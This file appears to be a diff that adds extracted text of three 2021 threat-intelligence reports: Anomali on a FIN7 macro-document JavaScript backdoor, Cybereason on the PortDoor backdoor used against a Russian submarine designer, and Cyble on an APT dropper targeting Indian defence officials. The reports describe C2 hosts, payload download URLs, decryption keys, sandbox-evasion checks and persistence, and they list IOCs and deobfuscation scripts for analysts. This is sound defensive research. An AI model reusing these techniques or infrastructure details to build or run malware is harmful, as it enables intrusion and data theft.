diff --git "a/2021.clean.txt" "b/2021.clean.txt" new file mode 100644--- /dev/null +++ "b/2021.clean.txt" @@ -0,0 +1,5765 @@ +Cybercrime Group FIN7 Using Windows 11 AlphaThemed Docs to Drop Javascript Backdoor +anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor +Authored by: Gage Mele, Tara Gould, Rory Gould, and Sean Townsend +Key Findings +Anomali Threat Research discovered six malicious Windows 11 Alpha-themed Word +documents with Visual Basic macros being used to drop JavaScript payloads, including +a Javascript backdoor. +While we cannot conclusively identify the attack vector for this activity, our analysis. +strongly suggests the attack vector was an email phishing or spearphishing campaign. +We assess with moderate confidence that the financially motivated threat group FIN7 is +responsible for this campaign. +Based on the file names observed in this campaign, the activity likely took place around +late-June to late-July 2021. +Overview +Anomali Threat Research conducted analysis on malicious Microsoft Word document (.doc) +files themed after Windows 11 Alpha and assess with moderate confidence that these +Word documents were part of a campaign conducted by the threat group FIN7. The group +goal appears to have been to deliver a variation of a JavaScript backdoor used by FIN7 since +at least 2018.[1] +FIN7 +FIN7 is an Eastern European threat group that has been active since at least mid-2015. They +primarily target United States (US)-based companies across various industries but also +operate on a global scale. The group is one of the world +s most notorious cybercrime groups +and has been credited with the theft of over 15 million payment card records that cost +organizations around the world approximately one billion dollars (USD) in losses.[2] In the +US alone, the group has targeted over 100 companies and compromised the networks of +organizations in 47 states and the District of Columbia.[3] While FIN7 +s primary objective is +to directly steal financial information, such as credit and debit card data, they will also steal +sensitive information to sell on underground marketplaces. +There has been a concerted attempt by law enforcement to tackle the group, including the +arrest of three members arrested August 2018 and a high-level organizer in April 2021.[4] +Despite these personnel losses and media attention, the group has continued a steady stream +of documented activity since at least 2015.[5] +1/18 +In early 2021, FIN7 was identified as gaining illicit access to a law firm +s network by using a +fake legal complaint themed around Brown-Forman Inc., the parent company of Jack +Daniels whiskey.[6] +Related Groups +FIN7 is closely associated with the threat group referred to as +Carbanak, + with the two +groups sharing a significant number of TTPs including the use of the Carbanak backdoor.[7] +As such, news media and some intelligence vendors use the names interchangeably. To add +to the confusion, different vendors will use their own naming conventions for each group that +include: +FIN7 - Carbon Spider (Crowdstrike), Gold Niagara (Secureworks), Calcium (Symantec) +Carbanak - Carbon Spider (Crowdstrike), Anunak (Group-IB) +Trend Micro released a report in April 2021 outlining the differences in TTPs between the +two groups and MITRE also track the two groups separately.[8] For clarity, we will treat FIN7 +and Carbanak as separate groups; the main distinction being FIN7 focuses on hospitality and +retail sectors, while Carbanak targets banking institutions. +Technical Analysis +Word Document +MD5 d60b6a8310373c9b84e6760c24185535 +File name Users-Progress-072021-1.doc +The infection chain began with a Microsoft Word document (.doc) containing a decoy image +claiming to have been made with Windows 11 Alpha. The image asks the user to Enable +Editing and Enable Content to begin the next stage of activity, as shown in Figure 1 below. +2/18 +Figure 1 + Windows 11-Themed Maldoc +Analyzing the file, we can see a VBA macro populated with junk data as comments, shown in +Figure 2. Once the content/editing has been enabled, the macro is executed. +3/18 +Figure 2 + VBA Macro with Junk Data +Junk data is a common tactic used by threat actors to impede analysis. Once we remove this +junk data, we are left with a VBA macro, as shown in Figure 3 below. +4/18 +Figure 3 + VBA Macro without Junk Data +The VBScript will take encoded values from a hidden table inside the .doc file, shown in +Figure 4. +Figure 4 + Values and Key from Hidden Table +The values are deciphered with the function shown in Figure 5. +5/18 +Figure 5 + Decoding Function in VBScript +The values from the table are deobfuscated using an XOR cipher. In this sample, the key is +uPHdq3MxjOCfnXB. +Figure 6 + VBA Decoding Function Ported into Python +After deobfuscating the VBA macro, using the script shown in Figure 6, we can see what is +occurring in the code. +6/18 +Figure 7 + Checks Carried Out +Shown in Table 1 are the language checks carried out. +Table 1 + Language checks +Code +Language +1049 +Russian +1058 +Ukrainian +2073 +Russian-Moldova +1070 +Sorbian +1051 +Slovak +1060 +Slovenian +1061 +Estonian +3098 +Serbian +2074 +Serbian (Latin) +If these languages are detected, the function me2XKr is called which deletes the table and +stops running. +7/18 +Figure 8 + VM Checks +The script checks for Virtual Machines, as shown in Figure 8, and if detected it stops running. +Figure 9 + Domain Check +Shown in Figure 9, the script checks for the domain CLEARMIND, which appears to refer to +the domain of a Point-of-Sale (POS) service provider. +The checks include: +Domain name, specifically CLEARMIND (Figure 9) +Language, if any of the languages listed in Table 1 +Reg Key Language Preference for Russian +Virtual machine - VMWare, VirtualBox, innotek, QEMU, Oracle, Hyper and Parallels, if +a VM is detected the script is killed (Figure 8) +Memory Available, if there is less than 4GB then don +t proceed +Check for RootDSE via LDAP +If the checks are satisfactory, the script proceeds to the function where a JavaScript file called +word_data.js is dropped to the TEMP folder. However, if the language and VM checks are +detected, the table deletes itself and does not proceed to the JavaScript payload. This +JavaScript file is also full of junk data, as shown in Figure 10 below. +8/18 +Figure 10 + JavaScript File (word_data.js) with Junk Data +Once again, we removed the junk data to analyze the JavaScript, which we can see contains +obfuscated strings, shown in Figure 11. +9/18 +Figure 11 + Example JavaScript Function without Junk Data +The JavaScript file also contains a deobfuscation function which is shown in Figure 12 below. +10/18 +Figure 12 + JavaScript Snippet Containing the XOR Function +Analyzing the XOR cipher function, +ben9qtdx4t + is the key used to decrypt the strings in the +JavaScript file (word_data.js). The obfuscation is carried out using a substitution cipher that +goes from A through K, displayed in Table 2 below. +Table 2 + Substitution Cipher +Code +11/18 +Figure 13 + Deobfuscated Strings +After replacing the obfuscated values with the deobfuscated strings, the Javascript backdoor +appears to have similar functionality with other backdoors reportedly used by FIN7.[9] +Figure 14 + First Connection +A connection is first made to +tnskvggujjqfcskwk.com, + (Figure 14) and based on the response, +a connection is then made to +bypassociation[.]com. + This address is created by picking values +from each array (Figure 15) at random. +12/18 +Figure 15 + Path and Arrays +After connecting to the bypassociation[.]com address, the script checks for an active IP to +retrieve the MAC address and DNSHostName (Figure 16), which are then submitted via a +POST request to the bypassociation address. +Figure 16 + eq5w0 = xgq86 + z897r8d, aka the MAC address and DNSHostName are +appended to the data sent +Based on the response, further Javascript is executed, as shown in Figure 17. +Figure 17 + Javascript Execution +13/18 +Attribution +Targeting of a POS provider aligns with previous FIN7 activity +The use of decoy doc files with VBA macros also aligns with previous FIN7 activity +FIN7 have used Javascript backdoors historically +Infection stops after detecting Russian, Ukrainian, or several other Eastern European +languages +Password protected document +Tool mark from Javascript file +"group=doc700&rt=0&secret=7Gjuyf39Tut383w&time=120000&uid=" follows similar +pattern to previous FIN7 campaigns +The specified targeting of the Clearmind domain fits well with FIN7 +s preferred modus +operandi. As a California-based provider of POS technology for the retail and hospitality +sector, a successful infection would allow the group to obtain payment card data and later sell +the information on online marketplaces. The US Department of Justice calculates that as of +2018 FIN7 was responsible for stealing over 15 million card records from 6,500 POS +terminals.[10] +The use of a JavaScript backdoor is also primarily associated with FIN7 and is a common +feature within its campaigns.[11] It is worth noting that Carbanak has also been known to use +Javascript payloads but, as this targets retail and health POS systems, it aligns with FIN7 +activity. +While not providing solid attribution, the language check function and table it scores against +indicate a likely geographic location for the creator of this malicious doc file. It is accepted as +an almost unofficial policy that cybercriminals based in the Commonwealth of Independent +States (CIS) are generally left alone, provided they do not target interests or individuals +within their respective borders, ergo the VBA macro checking the target system language +against a list including common CIS languages which will terminate the infection if found to +match. The addition of Sorbian, a minority German Slavic language, Estonian, Slovenian and +Slovak are unusual additions as these would not be languages considered for exclusion but +would be considered +fair game. + It is worth noting that REvil ransomware also includes these +languages in their exclusion tables, a group that is believed to work with FIN7.[12] +Conclusion +FIN7 is one of the most notorious financially motivated groups due to the large amounts of +sensitive data they have stolen through numerous techniques and attack surfaces. Things +have been turbulent for the threat group over the past few years as with success and notoriety +comes the ever-watchful eye of the authorities. Despite high-profile arrests and sentencing, +including alleged higher-ranking members, the group continues to be as active as ever.[13] US +14/18 +prosecutors believe the group numbers around 70 individuals, meaning the group can likely +accommodate these losses as other individuals will step in.[14] Targeting infrastructure +appears to be a more successful method of stopping or delaying these actors. +Endnotes +Kremez, Vitali. 2018. Let's Learn: In-Depth Review of FIN7 VBA Macro & Lightweight +JavaScript Backdoor. November 28. Accessed 8 18, 2021. +https://www.vkremez.com/2018/11/in-depth-review-of-fin7-vba-macro.html. +ESentire. 2021. Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using +Fake Legal Complaint Against Jack Daniels + Owner, Brown-Forman Inc. July 21. Accessed +August 17, 2019. https://www.esentire.com/security-advisories/notorious-cybercrime-gangfin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-ownerbrown-forman-inc. +[3] Department of Justice. 2018. Three Members of Notorious International Cybercrime +Group +Fin7 + In Custody for Role in Attacking Over 100 U.S. companies. August 1. Accessed +August 19, 2019. https://www.justice.gov/opa/pr/three-members-notorious-internationalcybercrime-group-fin7-custody-role-attacking-over-100. +Ibid; Department of Justice. 2021. High-level organizer of notorious hacking group FIN7 +sentenced to ten years in prison for a scheme that compromised tens of millions of debit and +credit cards . April 16. Accessed August 17, 2021. https://www.justice.gov/usaowdwa/pr/high-level-organizer-notorious-hacking-group-fin7-sentenced-ten-years-prisonscheme. +[5] Carr, Goody, Miller and Vengerik, On the Hunt. +[6] ESentire, Notorious Cybercrime Gang. +[7] Carr, Goody, Miller and Vengerik, On the Hunt. +[8] Trend Micro. 2021. Carbanak and FIN7 Attack Techniques. April 20. Accessed August 17, +2021. https://www.trendmicro.com/en_gb/research/21/d/carbanak-and-fin7-attacktechniques.html. +SentinelOne. 2019. Deep Insight into +FIN7 + Malware Chain: From Office Macro Malware +to Lightweight JS Loader. October 3. Accessed August 19, 2021. +https://labs.sentinelone.com/fin7-malware-chain-from-office-macro-malware-tolightweight-js-loader/. +[10] +Department of Justice, Three Members. +15/18 +[11] +Kaspersky. 2019. FIN7.5: the infamous cybercrime rig +FIN7 + continues its activities. +May 8. Accessed August 17, 2021. https://securelist.com/fin7-5-the-infamous-cybercrimerig-fin7-continues-its-activities/90703/. +[12] +Counter Threat Unit Research Team. 2019. REvil/Sodinokibi Ransomware. September +24. Accessed August 24, 2021. https://www.secureworks.com/research/revil-sodinokibiransomware; Singleton, Camille, Christopher Kiefer, and Ole Villadsen. 2020. Ransomware +2020: Attack Trends Affecting Organizations Worldwide. September 28. Accessed August 24, +2021. https://securityintelligence.com/posts/ransomware-2020-attack-trends-newtechniques-affecting-organizations-worldwide/. +[13] +Department of Justice, High-level organizer. +[14] +Ibid. +IOCs +Filename +Hash +Clients-Current_state-062021-0.doc +dc7c07bac0ce9d431f51e2620da93398 +Clients-Progress-072021-7.doc +d17f58c6c9771e03342cdd33eb32e084 +Clients-State-072021-4.doc +ad4a6a0ddeacdf0fc74c3b45b57a1316 +Customers-State-072021-3.doc +de14cf1e58d288187680f5938e2250df +Clients-State-072021-4.doc +ad4a6a0ddeacdf0fc74c3b45b57a1316 +Users-Progress-072021-1.doc +d60b6a8310373c9b84e6760c24185535 +Users-Progress-072021-1.lnk +72149bbd364326618df00dc6b0e0b4c4 +word_data.bin/word_data.js +0d12e8754adacc645a981426e69b91ec +word_data.bin/word_data.js +8f5302dafa90958117cbee992a0e09a9 +word_data.bin/word_data.js +f4c77f40e325a420be4660370a97158c +word_data.bin/word_data.js +ce80bf89bbc800547039844d400ab27c +word_data.bin/word_data.js +41c48b16a01f0322b4e851aa4e1c4e0e +IP Address +85.14.253.178 +Domains +16/18 +tnskvggujjqfcskwk[.]com +https://bypassociation[.]com +https://bypassociation[.]com/images/sync?type=name +https://bypassociation[.]com/new?type=name +https://bypassociation[.]com/pictures/hide?type=name +https://bypassociation[.]com/pictures/show?type=name +https://bypassociation[.]com/images/hide?type=name +https://bypassociation[.]com/img/hide?type=name +https://bypassociation[.]com/img/add?type=name +https://bypassociation[.]com/images/add?type=name +https://bypassociation[.]com/info/hide?type=name +MITRE ATT&CK +Technique +Name +Execution +T1059.005 +Command and Scripting Interpreter: Visual Basic +T1059.007 +Command and Scripting Interpreter: Javascript +T1204.002 +User Execution: Malicious File +T1047 +Windows Management Instrument +T1140 +Deobfuscate/Decode Files or Information +T1027 +Obfuscated Files or Information +T1497 +Virtualization/Sandbox Evasion +T1497.001 +Virtualization/Sandbox: System Checks +T1087.002 +Account Discovery: Domain Account +Defense Evasion +Discovery +Appendix +Script for deobfuscating VBA: +17/18 +def fin_decode(list, keyS): +keyOrd = [ord(l)for l in keyS] +final_list = [] +count = 0 +for num in list: +key_2 = keyOrd[count % len(keyS)] +count += 1 +final_list.append(str(num - key_2)) +finalList = ' '.join(final_list) +for n in range(0, len(final_list)): +final_list[n] = int(final_list[n]) +let = chr(final_list[n]) +print(let, end='') +Script for deobfuscating the Javascript files: +def xor(data, key): +dict = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, +'J': 9, 'K': ","} +length = len(key) +dictD = [dict[d] for d in data] +values = "".join(str(x) for x in dictD) +values = values.strip(',') +values = values.split(',') +d = [int(k) for k in values] +key_ord = [ord(m) for m in key] +decode = "" +count = 0 +for i in d: +decode += chr(i ^ key_ord[count % length]) +count += 1 +print(decode) +Topics: Research +18/18 +PortDoor: New Chinese APT Backdoor Attack Targets Russian Defense Sector +cybereason.com/blog/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector +April 30, 2021 | 7 minute read +The Cybereason Nocturnus Team has been tracking recent developments in the RoyalRoad weaponizer, also known as the 8.t Dropper/RTF +exploit builder. Over the years, this tool has become a part of the arsenal of several Chinese-related threat actors such as Tick, Tonto Team and +TA428, all of which employ RoyalRoad regularly for spear-phishing in targeted attacks against high-value targets. +While analyzing newly discovered RoyalRoad samples observed in-the-wild, the Nocturnus Team detected one that not only exhibits +anomalous characteristics, but also delivers PortDoor malware, a previously undocumented backdoor assessed to have been developed by a +threat actor likely operating on behalf of Chinese state-sponsored interests. +According to the phishing lure content examined, the target of the attack was a general director working at the Rubin Design Bureau, a +Russian-based defense contractor that designs nuclear submarines for the Russian Federation +s Navy. +Key Findings +RoyalRoad Variants are Under Development: The variant of the RoyalRoad weaponizer examined altered its encoded payload +from the known + file to a new filename: +. More new variants are likely to be under development as well. +Previously Undocumented Backdoor: The newly discovered RoyalRoad RTF variant examined also drops a previously +undocumented and stealthy backdoor dubbed PortDoor which is designed with obfuscation and persistence in mind. +Highly Targeted Attack: The threat actor is specifically targeting the Rubin Design Bureau, a part of the Russian defense sector +designing submarines for the Russian Federation +s Navy. +Extensive Malware Capabilities: Portdoor has multiple functionalities, including the ability to do reconnaissance, target profiling, +delivery of additional payloads, privilege escalation, process manipulation static detection antivirus evasion, one-byte XOR encryption, +AES-encrypted data exfiltration and more. +APT Group Operating on Behalf of Chinese State Interests: The accumulated evidence such as the infection vector, social +engineering style, use of RoyalRoad against similar targets, and other similarities between the newly discovered backdoor sample and +other known Chinese APT malware all bear the hallmarks of a threat actor operating on behalf of Chinese state-sponsored interests. +Analysis of the Spear-Phishing Attack: Intro to RoyalRoad +RoyalRoad is a tool that generates weaponized RTF documents that exploit the following vulnerabilities in Microsoft +s Equation Editor: CVE2017-11882, CVE-2018-0798 and CVE-2018-0802. RoyalRoad is used primarily by threat actors considered to be operating on behalf of +Chinese state interests (e.g Tick, Tonto Team, TA428, Goblin Panda, Rancor). +RoyalRoad has rather consistent characteristics and most of the weaponized RTF documents usually drop an encoded file named +, which once decoded - can deliver a variety of payloads for different threat actors. +In this report, we discuss a deviation from the +classic + RoyalRoad characteristics. The dropped object name was changed from the very +consistent + naming convention to the new + file name. +Spear-Phishing Email Delivers RoyalRoad RTF +The initial infection vector is a spear-phishing email addressed to the +respectful general director Igor Vladimirovich + at the Rubin Design +Bureau, a submarine design center from the +Gidropribor + concern in St. Petersburg, a national research center that designs underwater +weapons like submarines: +1/10 +Content of the spear-phishing e-mail +The email attachment is a malicious RTF document weaponized with a RoyalRoad payload, with content describing a general view of an +autonomous underwater vehicle: +Content of the weaponized RTF document +The creation time of the RTF is timestomped to 2007, presumably to thwart investigation or detection efforts. Timestomping is a known +technique used by threat actors to try and remain under the radar: +Historical RTF data from VirusTotal +Once the RTF document is opened and executed, a Microsoft Word add-in file is dropped to the +Microsoft Word startup folder. This technique is used by various actors to bypass detection of +automatic execution persistence, since Word must be relaunched in order to trigger the add-in file, +making the persistence mechanism less +noisy +Contrary to the common + file name observed in most RoyalRoad payloads, this new RoyalRoad +variant uses + naming convention for the temporary file payload, which is eventually written to MS +Word startup folder as +winlog.wll +Weaponized RTF execution and dropped files on disk +2/10 +The malicious execution of the RTF file is detected by the Cybereason Defense Platform: +Cybereason Detection of the PortDoor Backdoor +PortDoor Backdoor Analysis +The dropped payload, named +winlog.wll +, is a previously undocumented backdoor. Its main capabilities include: +Gathering reconnaissance and profiling of the victim +s machine +Receiving commands and downloading additional payloads from the C2 server +Communicating with the C2 server using raw socket as well as HTTP over port 443 with proxy authentication support +Privilege escalation and process manipulation +Dynamic API resolving for static detection evasion +One byte XOR encryption of sensitive data and configuration strings +The collected information is AES-encrypted before it is sent to the C2 server +Detailed Analysis +The DLL itself has multiple export functions, going from DllEntry00 to DllEntry33. Most of these exports simply return sleep loops, a likely +anti-analysis measure. The main functionality resides within the DllEntry28 and DllEntry18: +3/10 +DLL exports of the PortDoor backdoor +In order to get the configuration information, the backdoor first decrypts the strings using a hardcoded 0xfe XOR key: +Strings decryption routine +The decrypted data includes the following configuration information: +The decrypted strings in memory +Decrypted string +Purpose +45.63.27[.]162 +C2 address +Kr*^j4 +B-JDUN +Victim identifier +58097616.tmp +Data file name written to %temp% +0987654321fedcba +AES-CBC key +It is worth noting that, during the analysis, the communication with the C2 was not successful and therefore some analysis information may be +incomplete. +Following the debugger presence check and the string decryption, the malware then creates an additional file in %temp% with the hardcoded +name +58097616.tmp +, and writes the GetTickCount value multiplied by a random number to it: +4/10 +Value written to the +58097616.tmp + file +This can be used as an additional identifier for the target, and also as a placeholder for the previous presence of this malware. +The malware then proceeds to attempt to establish a connection with the C2 which supports the transfer of data using TCP over raw sockets, or +HTTPS using the CONNECT method. In addition the backdoor appears to be proxy-aware, distinguishing between two HTTP response types: + response and + (Proxy Authentication Required): +Hardcoded HTTP headers with proxy support +PortDoor also has the ability to achieve privilege escalation by applying the Access Token Theft technique to steal explorer.exe tokens and run +under a privileged security context: +Access token theft from explorer.exe +Eventually, the malware awaits for further instructions from the C2 to continue its execution. This is done via the following switch case: +5/10 +Some of the switch case implemented methods +For example, the get_pc_info() case gathers basic PC info to be sent to the C2, and the +B-JDUN + string is most likely being used as a unique +identifier for the campaign/victim: +The information gathered on the infected PC +Lastly, before sending the information to the C2 server the backdoor uses AES to encrypt the stolen PC information data: +AES encrypted information gathered on the PC +The backdoor +s main C2 command functionality is summarized in the table below: +Case +Action +0x08 +Get PC info, concat with the +B-JDUN" identifier +0x30 +List running processes +0x31 +Open process +0x41 +Get free space in logical drives +0x42 +Files enumeration +0x43 +Delete file +0x44 +Move file +0x45 +Create process with a hidden window +6/10 +0x28 +Open file for simultaneous operations +0x29 +Write to file +0x2a +Close handle +0x2b +Open file and write directly to disk +0x01 +Look for the +Kr*^j4 + string +0x10 +Create pipe, copy data from it and AES encrypt +0x11 +Write data to file, append with +0x12 +Write data to file, append with +exit\n +C2 command functionality summarized +Another anti-analysis technique observed being used by the PortDoor backdoor is dynamic API resolving. The backdoor is able to hide most of +its main functionality and avoid static detection of suspicious API calls by dynamically resolving its API calls instead of using static imports: +Dynamic API resolving +The malicious execution of the PortDoor backdoor DLL is detected by the Cybereason Defense Platform: +PortDoor Backdoor DLL as detected by Cybereason +Attribution +At the time of this analysis, there was not enough information available to attribute the newly discovered backdoor to a known threat actor with +reasonable certainty. However, there are a couple of known Chinese APT groups that share quite a few similarities with the threat actor behind +the new malware samples analyzed in this blog. +Based on previous work done by nao_sec, the Nocturnus Team was able to determine that the RTF file discussed in this blog was weaponized +with RoyalRoad v7, which bears the indicative +b0747746 + header encoding and was previously observed being used by the Tonto Team, +TA428 and Rancor threat actors, as can be seen below: +7/10 +RoyalRoad attribution matrix. Credit: nao_sec +Both the Tonto Team and TA428 threat actors have been observed attacking Russian organizations in the past, and more specifically attacking +research and defense related targets. For example, it was previously reported that Tonto Team is known to have attacked Russian organizations +in the past using the Bisonal malware. +When comparing the spear-phishing email and malicious documents in these attacks with previously examined phishing emails and lure +documents used by the Tonto Team to attack Russian organizations, there are certain similarities in the linguistic and visual style used by the +attackers in the phishing emails and documents. +The newly discovered backdoor does not seem to share significant code similarities with previously known malware used by the +abovementioned groups, other than anecdotal similarities that are quite common to backdoors, leading us to the conclusion that it is not a +variant of a known malware, but is in fact novel malware that was developed recently. +Lastly, we are also aware that there could be other groups, known or yet unknown, that could be behind the attack and the development of the +PortDoor backdoor. We hope that as time goes by, and with more evidence gathered, the attribution could be more concrete. +Conclusion +RoyalRoad has been one of the most used RTF weaponizers in the Chinese threat actors sphere in recent years. It is mostly observed in the +initial compromise phase of targeted attacks where spear-phishing is used to lure victims into opening malicious documents which in turn +exploit Microsoft Equation Editor vulnerabilities to drop different malware. +In this report, we discussed the latest changes that were made to the RoyalRoad weaponizer that deviate from some of its well-documented and +predictable indicators. It is perhaps an indication that the threat actors who are operating it are attempting to avoid +low hanging fruit +detections. +In addition, we reported the discovery of the novel PortDoor backdoor, a previously undocumented and stealthy tool designed to grant the +attackers access to their targets + machines, collect information, and deploy additional payloads. +At the time of writing this report, it is still unclear which threat actor is behind the new backdoor, however we have identified two potential +suspects that fit the profile. Currently there is not enough information available to prove the stated hypothesis with a high level of certainty. +LOOKING FOR THE IOCs? CLICK ON THE CHATBOT DISPLAYED IN LOWER-RIGHT OF YOUR SCREEN. +VIEW THE IOCS +MITRE ATT&CK Matrix +Reconnaissance +Initial Access +Execution +Persistence +Privilege +Escalation +Defense Evasion +Discovery +Comm +Contro +Gather Victim +Host Information +Phishing: +Spearphishing +Attachment +Command +Scripting +Interpreter: +Windows +Command +Shell +Office +Application +Startup: +Add-ins +Process Injection +Masquerading: Match +Legitimate Name or +Location +Virtualization/Sandbox +Evasion +Encryp +Chann +8/10 +Access Token +Manipulation: Token +Impersonation/Theft +Virtualization/Sandbox +Evasion +File and Directory +Discovery +Applica +Layer +Protoc +Process Injection +System Information +Discovery +Proxy: +Extern +Proxy +Obfuscated Files or +Information +System Time +Discovery +Access Token +Manipulation: Token +Impersonation/Theft +Process Discovery +Signed Binary Proxy +Execution: Rundll32 +About the Researchers: +DANIEL FRANK +Daniel Frank is a senior Malware Researcher at Cybereason. Prior to Cybereason, Frank was a Malware +Researcher in F5 Networks and RSA Security. +His core roles as a Malware Researcher include researching emerging threats, reverse-engineering malware and +developing security-driven code. Frank has a BSc degree in information systems. +ASSAF DAHAN +Assaf Dahan is the Senior Director and Head of Threat Research at Cybereason. He has over 15 years in the +InfoSec industry. +He started his career in the Israeli Military 8200 Cybersecurity unit where he developed extensive experience in +offensive security. Later in his career he led Red Teams, developed penetration testing methodologies, and +specialized in malware analysis and reverse engineering. +About the Author +Cybereason Nocturnus +The Cybereason Nocturnus Team has brought the world +s brightest minds from the military, government intelligence, and enterprise security +to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and +exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and +9/10 +Bad Rabbit cyberattacks. +All Posts by Cybereason Nocturnus +10/10 +APT Group Targets Indian Defense Officials Through +Enhanced TTPs +During our routine threat hunting exercise, Cyble Research Labs came across a malware sample posted on Twitter by a +researcher who believes that the malware belongs to Transparent Tribe, an Advanced Persistent Threat (APT) Group. +Given the nature of the victim and the way they are targeted, we can draw some similarities to the Side Copy APT group. +Both APT groups are known to have mainly targeted India +s Defense and Government sectors in the past. Additionally, both +groups have used various other RAT and malware to launch campaigns via multiple modes such as phishing, delivering +payload via mail, etc. The malware posted by the researcher on Twitter has used a technique to hide the actual malware in +the .vhdx file to avoid any antivirus detection. As per Wikipedia, .vhdx is the successor of VHD (Virtual Hard Disk). +The figure below shows the high-level execution flow of the malware. Upon execution, the malware checks for the current +time zone. If it is able to verify that the victim system +s time zone is in IST, it connects to the attacker +s URL for downloading +the second stager. Once downloaded, it executes the second stager payload and deletes itself. +The second stager payload checks that only one instance of the malware is running, and then it connects with the attacker +Command and Control (C&C) server to start receiving the commands from Threat Actor (TA). +Figure 1 High-Level Execution Flow of Malware +Technical Analysis +Cyble Research started analysis with the malware file name AFD CSD APP.vhdx; the sample had an extension. vhdx. After +double-clicking on the AFD CSD APP.vhdx we observed it creating a mount in the Operating System (OS) with the name +CSD App +. After opening the mounted drive, we got the malicious malware file which is CSD_AppLaunch.exe. +Figure 2 Actual Malware present in CSD APP Mount +While performing a static analysis of the CSD_AppLaunch.exe malicious file, we determined that that the file is an x86 +architecture Windows-based Graphical User Interface (GUI) Application written in .NET Language shown in the figure +below. +Figure 3 Static Details of First Stager +The icon of the malicious app had the logo of the Canteen Store Department (CSD) of the Indian Armed Forces, as shown +in the figure below. +Figure 4 Application Logo Used for First Stager +Code Analysis (CSD_AppLaunch.exe) +As per the below code, once the malware has been executed, it checks whether the current OS time Zone is India Standard +Time (IST); if the OS time is not in IST, the malware exits. This tells us that the malware has been created with the explicit +purpose of targeting the Indian Defense establishment and service members. +Figure 5 Malware Checks for Time Zone +Initially, the code shown below figure uses the .NET WebBrowser() class to open the URL h[tt]ps:[//]afd.csdindia[.]gov[.]in +and load the Form1_Load module to execute the malicious malware code. +Figure 6 Malware Loading Indian CSD Website in Custom Browser and Execute Form1_Load +Once the Form1_Load method is called, the code shown in Figure 7 creates a directory in C:\\ProgramData as +Intel Wifi* +If this directory is not present, it will be created, Once the directory is present, the malware proceeds to download the next +stager payload from URL https[:]//secure256[.]net/ver4.mp3. Then, the malware decrypts the ver4.mp3 content to create +IntelWifi.exe malicious binary in C:\\ProgramData\\Intel Wifi as shown in the code below. +Figure 7 Create Folder in ProgramData and Download Second Stager +The code below contains the decryption logic used by the malware to decrypt the content of ver4.mp3 file. +Figure 8 Decrypt Second Stager +Finally, the first stager malware calls the Final method to create a new file name music.mp3 which contains the decrypted +data of ver4.mp3 in the C:\\ProgramData directory. +After this step, it sleeps for 6 seconds and then uses the Move function to rename the music.mp3 file to IntelWifi.exe. It then +sleeps for five more seconds and then executes IntelWifi.exe binary and delete CSD_AppLaunch.exe (first stager) binary as +shown in the figure below. +Figure 9 Create Second Stager Binary IntelWifi.exe +Technical Analysis for IntelWifi.exe (Second Stager) +Static analysis of IntelWifi.exe tells that the binary is an x86 architecture Windows-based Graphical User Interface (GUI) +application written in .NET language as shown in the figure below. +Figure 10 Static Details of IntelWifi (Second Stager) +As per the below code, initially, the malware checks that only a single instance of a malware process is running. Then, it +checks whether the current time zone is India Standard Time. Further, it calls CheckDirectory() method to create \\Intel Wifi +directory and vmnx.dll file. Finally, it calls the Form1 module to execute the malicious codes. +Figure 11 Second Stager Malware Performing Various Checks +Form1() module calls IntializeComponent method, which in turn loads the Form1_Load method. The Form1_Load then calls +Run() method to start the malware activity as shown in the figure below. +Figure 12 Execution Flow to Initiate the Malicious Activity +The Run code is shown in Figure 13. Once executed, it connects to the attacker +s C&C on address +45[.]147[.]228[.]195[:]5434. After establishing contact with the C&C server, it calls the Run method from the Grabber class to +execute a series of methods to get the victim +s environment details, e.g., OS, current username, etc. Once the victim +environment details are extracted, the malware sends the details to the attacker +s C&C with key +x999 + and then waits for +commands to be received from the attacker. +Figure 13 Malware Communicating to Attacker +s C&C and Waiting to receive the Command +Below we have listed a series of methods executed by the Run() method present in the Grabber class. +Figure 14 Series of Methods Executed by Malware +Methods +Description +CreateID() +Create vmvcx.dll file and Generate Victim ID based on processor detail and P-Followed by +random number and write the ID is vmvcx.dll file. E.g., PXXX-XXXXXXXXXXXX +Name() +Get the Computer Name and Current Username +PubIp() +Get the Victim +s public IP using http://icanhazip[.]com +LocIp() +Get the Victim +s Local IP +OSType() +Get the Victim +s Operating System (OS) details +Av() +Get the AV +s List present in Victim +s Machine +MacType() +Check whether Victim +s is using desktop or Laptop +CreateNonStop() +Add persistence in Startup Folder +Table 1 Methods Description Which Malware invokes +The below figure shows that the cynetcloud shortcut file is created in the startup folder using CreateNonStop() method. The +value file:///C:\ProgramData\Intel Wifi\IntelWifi.exe executes whenever the Windows machine starts. This is done for the +purpose of creating and maintaining persistence on the victim machine. +Figure 15 Malware Created Persistent in Start-Up Folder +Once all the methods are executed, as shown in Table 1, the malware sends the user data to Attacker +s C&C. In the figure +below, the malware has connected to our fake emulated C&C. +Figure 16 Malware Connected to Fake C&C +Once connected, the malware sends the victim +s environment details. The malware goes into a dormant stage to get the +next command from the attacker +s C&C. +For example, in the below figure, we have sent +prc1 + to the malware to get the process details of the victim. +Figure 17 Output Received from malware +Below is the code used by the malware to handle the commands received from C&C. +Figure 18 Various Functionalities which Malware Support basis on the Command Received from C&C +Conclusion +The APT groups are evolving their tools and techniques to stay ahead of various security solutions like AV & EDR. Based +on the fact that this malware has multiple artifacts such as the logo, the URL used in the initial code, we can conclude that +the malware has been created specifically to target Indian Defense or Government officials. +Cyble Research Labs will continuously monitor security threats, whether they are ongoing or emerging. We will continue to +update our readers with our latest findings. +Our Recommendations +We have listed some essential cybersecurity best practices that create the first line of control against attackers. We +recommend that our readers follow the suggestions given below: +Use a reputed anti-virus and internet security software package on your connected devices. +Use the shared IOCs to monitor and block the malware infection. +Conduct regular backup practices and keep those backups offline or in a separate network. +Refrain from opening untrusted links and email attachments without verifying their authenticity. +Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever +possible and pragmatic. +Use strong passwords and enforce multi-factor authentication wherever possible. +MITRE ATT&CK + Techniques +Tactic +Technique ID +Technique Name +**Execution ** +T1204 +User Execution +Persistence +T1547 +Boot or Logon Autostart Execution +Discovery 